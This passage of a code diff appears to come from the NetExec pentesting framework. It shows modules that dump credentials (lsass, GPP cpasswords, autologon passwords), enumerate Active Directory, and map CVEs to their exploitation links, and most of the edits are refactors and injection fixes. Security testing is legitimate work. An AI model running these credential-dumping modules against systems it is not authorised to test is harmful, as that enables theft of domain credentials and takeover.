(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
}
+5 -4
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -29,7 +30,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
@@ -37,8 +38,8 @@ class NXCModule:
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
output = connection.wmi_query(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
"root\\microsoftdns",
)
@@ -63,6 +64,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+13 -39
View File
@@ -1,9 +1,10 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -110,18 +111,7 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -142,37 +132,21 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
+1
View File
@@ -22,6 +22,7 @@ class NXCModule:
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+7 -18
View File
@@ -2,29 +2,18 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
import codecs
import socket
from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from os.path import expanduser, join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
@@ -108,7 +97,7 @@ class NXCModule:
recordname = site["name"]
if "dnsRecord" in site:
if isinstance(site["dnsRecord"], list): # noqa: SIM108
if isinstance(site["dnsRecord"], list):
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
@@ -153,13 +142,13 @@ class NXCModule:
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
outfile.write(f"{row['name'] + '.' + zone}\n")
elif self.showall:
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
else:
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
+66
View File
@@ -0,0 +1,66 @@
import json
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the scriptPath attribute of users
Module by @wyndoo
"""
name = "get-scriptpath"
description = "Get the scriptPath attribute of all users."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
OUTPUTFILE Path to a file to save the results (default: None)
"""
self.filter = ""
self.outputfile = None
if "FILTER" in module_options:
self.filter = module_options["FILTER"]
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(scriptPath=*)",
attributes=["sAMAccountName", "scriptPath"]
)
context.log.debug(f"Total of records returned {len(resp)}")
answers = parse_result_attributes(resp)
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
if filtered_answers:
context.log.success("Found the following attributes: ")
for answer in filtered_answers:
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
# Save the results to a file
if self.outputfile:
self.save_to_file(context, filtered_answers)
else:
context.log.fail("No results found after filtering.")
def save_to_file(self, context, answers):
"""Save the results to a JSON file."""
try:
# Format answers as a list of dictionaries for JSON output
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
# Save the JSON data to the specified file
with open(self.outputfile, "w") as f:
json.dump(json_data, f, indent=4)
context.log.success(f"Results successfully saved to {self.outputfile}")
except Exception as e:
context.log.error(f"Failed to save results to file: {e}")
+2 -2
View File
@@ -41,6 +41,6 @@ class NXCModule:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
else:
context.log.fail("No unixUserPassword Found")
context.log.fail("No userPassword Found")
+3 -2
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -22,7 +23,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@@ -30,6 +31,6 @@ class NXCModule:
data.append(cards)
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+26 -31
View File
@@ -15,45 +15,40 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+57 -62
View File
@@ -21,82 +21,77 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+68 -93
View File
@@ -1,8 +1,9 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -98,24 +99,25 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
self.context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -123,22 +125,32 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
context.log.success(f"Privileges extracted from {path}:")
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -159,101 +171,64 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, context, connection):
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
ldap_connection = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
def resolve_sid(self, sid, ldap_connection, base_dn):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
if ldap_connection:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+8 -11
View File
@@ -126,20 +126,17 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
+30 -17
View File
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -198,9 +198,20 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -236,7 +247,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -246,8 +257,10 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
